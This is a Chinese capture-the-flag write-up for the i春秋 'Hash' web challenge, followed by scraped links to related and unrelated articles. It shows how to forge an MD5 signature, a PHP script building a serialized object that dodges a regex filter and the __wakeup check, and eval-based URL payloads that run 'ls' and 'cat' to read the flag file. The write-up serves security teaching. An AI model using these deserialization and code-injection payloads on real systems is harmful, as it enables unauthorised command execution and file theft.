i春秋Hash
打开题目页面是一个超链接
先查看源码得到一段信息

没什么,这只是超链接跳转的信息
点击跳转到下一个界面

提示我们如果我们的传入不是123,123也就是key了,在上面的url就可以看到
如果key!=123我们就能得到flag
然后后面是一段隐藏的信息,需要查看源码才看得到
<!--$hash=md5($sign.$key);the length of $sign is 8
告诉我们hash等于sign.key的md5加密,然后sign的长度是8
题目中给了一段key与hash的例子
key=123&hash=f9109d5f83921a551cf859f853afe7bb
先对hash md5解密一下试试
解出来是kkkkkk01123
取其前8位就是kkkkkk01,所以这里的sign=kkkkkk01然后key=123
很简单嘛,直接修改了就,让key=111然后sign还是等于kkkkkk01,构造hash=md5(kkkkkk01111)
adaa10eef3a02754da03b5a3a6f40ae6(注意,这里是32位的md5加密)
构造出url
访问之,提示我们next step is Gu3ss_m3_h2h2.php
不多说,直接访问试试

一段php代码
看看源码有没有什么遗漏的
(。。。。。应该没有)
审计代码
先定义了一个demo类然后是一个if语句,如果存在GET传入的var就执行,再定义变量var等于base64解密的GET[‘var’],然后一个正则表达式,如果匹配就输出stop hacking,此外就将var反序列化,此外高亮文件Gu3ss_m3_h2h2.php
再看他的demo类
先是定义私有变量file让它指定一个文件
然后再定义一个共有函数,让其this变量指向file的值等于file
再定义函数__destruct(),让其输出高亮的文件。。。也就是我们看到的
然后又定义一个函数,如果this_file指向的文件不是这个就让其等于这个
最后还有一句注释,这秘密在f15g_1s_here.php
大概意思懂了,url处通过请求访问Gu3ss_m3_h2h2.php文件,如果不是这个文件名的访问则会自动访问这个Gu3ss_m3_h2h2.php文件,但是秘密又在另一个文件中,而且我们不能hack这个网页
。。。。。。。
想想只需要绕过就行了吧
我们这里就写个脚本来加密下f15g_1s_here.php来绕过它
<?phpclass Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//绕过正则$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数echo base64_encode($s);//最后base64编码?>
本地运行即可得到我们需要传入的值
TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ== 构造url
成功进入下一步

再审计,如果存在GET传入的val就令变量val等于其,然后eval一段内容,内容具体组成是value的值连上val的addslashes转义字符串再连上;组成
很明显了,这里就要我们利用eval()来获取到flag
先试试f15g_1s_here.php?val=${eval("echo 'ls' ;")}
发现页面没有显示了就。。。。看来不能这样用,因为上面的提示中提到了addslashes转义,它会将我们的’”都进行转义所以就不能这么构造eval指令
这里使用url的GET传值来避免val中的’ls’被转义构造payload:
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;

查看到所有文件,再cat查看
Payload:
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;
页面也没有回显,查看源码得到flag

i春秋Hash的更多相关文章
- [i春秋]“百度杯”CTF比赛 十月场-Hash
前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash 如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...
- i春秋DMZ大型靶场实验(四)Hash基础
下载工具包 打开目标机 通过目录爆破发现 phpmyadmin 在登录位置尝试注入 返现 可以注入 直接上sqlmap 上 bp 代理抓包 sqlmap.py -r bp.txt ...
- 复杂的 Hash 函数组合有意义吗?
很久以前看到一篇文章,讲某个大网站储存用户口令时,会经过十分复杂的处理.怎么个复杂记不得了,大概就是先 Hash,结果加上一些特殊字符再 Hash,结果再加上些字符.再倒序.再怎么怎么的.再 Hash ...
- 对抗密码破解 —— Web 前端慢 Hash
(更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...
- 散列表(hash table)——算法导论(13)
1. 引言 许多应用都需要动态集合结构,它至少需要支持Insert,search和delete字典操作.散列表(hash table)是实现字典操作的一种有效的数据结构. 2. 直接寻址表 在介绍散列 ...
- hash表长度优化证明
hash表冲突的解决方法一般有两个方向: 一个是倾向于空间换时间,使用向量加链表可以最大程度的在节省空间的前提下解决冲突. 另外一个倾向于时间换空间,下面是关于这种思路的一种合适表长度的证明过程: 这 ...
- SQL Server-聚焦查询计划Stream Aggregate VS Hash Match Aggregate(二十)
前言 之前系列中在查询计划中一直出现Stream Aggregate,当时也只是做了基本了解,对于查询计划中出现的操作,我们都需要去详细研究下,只有这样才能对查询计划执行的每一步操作都了如指掌,所以才 ...
- C# salt+hash 加密
一.先明确几个基本概念 1.伪随机数:pseudo-random number generators ,简称为:PRNGs,是计算机利用一定的算法来产生的.伪随机数并不是假随机 数,这里的" ...
- SQL 提示介绍 hash/merge/concat union
查询提示一直是个很有争议的东西,因为他影响了sql server 自己选择执行计划.很多人在问是否应该使用查询提示的时候一般会被告知慎用或不要使用...但是个人认为善用提示在不修改语句的条件下,是常用 ...
- 对一致性Hash算法,Java代码实现的深入研究
一致性Hash算法 关于一致性Hash算法,在我之前的博文中已经有多次提到了,MemCache超详细解读一文中"一致性Hash算法"部分,对于为什么要使用一致性Hash算法.一致性 ...
随机推荐
- KingbaseES R6 集群主机锁冲突导致的主备切换案例
案例说明: 主库在业务高峰期间,客户执行建表等DDL操作,主库产生"AccessExclusiveLock "锁,导致大量的事务产生锁冲突,大量的会话堆积,客户端session ...
- 以TrueType为例谈字形描述
以TrueType为例谈字形描述 作者:哲思 时间:2022.9.17 邮箱:zhe__si@163.com GitHub:zhe-si (哲思) (github.com) 一.前言 在深入理解&qu ...
- Kubernetes DevOps: Jenkins Pipeline (流水线)
要实现在 Jenkins 中的构建工作,可以有多种方式,我们这里采用比较常用的 Pipeline 这种方式.Pipeline,简单来说,就是一套运行在 Jenkins 上的工作流框架,将原来独立运行于 ...
- k8s控制器和Pod Template的关系
Pod 本身并不能自愈(self-healing).如果一个 Pod 所在的 Node (节点)出现故障,或者调度程序自身出现故障,Pod 将被删除:同理,当因为节点资源不够或节点维护而驱逐 Pod ...
- 使用Fluentd进行简单流处理
在某些日志采集场景中,我们需要对数据流进行一些转换.比如,我们可能需要从日志记录中提取某些字段以进行错误告警,或向日志记录中插入新的字段用以后续的分析. 本文简单介绍一下使用Fluentd进行数据操作 ...
- My life of Honker Security Commando
红客突击队 && 红客突击分队 红客突击队,于2019年,由队长k龙联合国内多位顶尖高校研究生牵头成立.其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验.团 ...
- (五)JPA - 原生SQL实现增删改查
6.原生SQL JPA除了对JPQL提供支持外,还对原生SQL语句也提供了支持.下面小节一起来看看吧. 6.1 查询单个 示例代码: @Test public void getSingle() { E ...
- 驱动开发:内核取ntoskrnl模块基地址
模块是程序加载时被动态装载的,模块在装载后其存在于内存中同样存在一个内存基址,当我们需要操作这个模块时,通常第一步就是要得到该模块的内存基址,模块分为用户模块和内核模块,这里的用户模块指的是应用层进程 ...
- 《吐血整理》高级系列教程-吃透Fiddler抓包教程(28)-Fiddler如何抓取Android7.0以上的Https包-下篇
1.简介 虽然依旧能抓到大部分Android APP的HTTP/HTTPS包,但是别高兴的太早,有的APP为了防抓包,还做了很多操作:① 二次加密有的APP,在涉及到关键数据通信时,会将正文二次加密后 ...
- Windows活动目录_初识
计算机组织形式 工作组(用户本地登录时构造SID进行权限分配): 域(统一身份验证与管理) 域注意事项 实体:域控.域用户.加入域的机子. 依赖的服务:netlogon服务 强制刷新组策略gpupda ...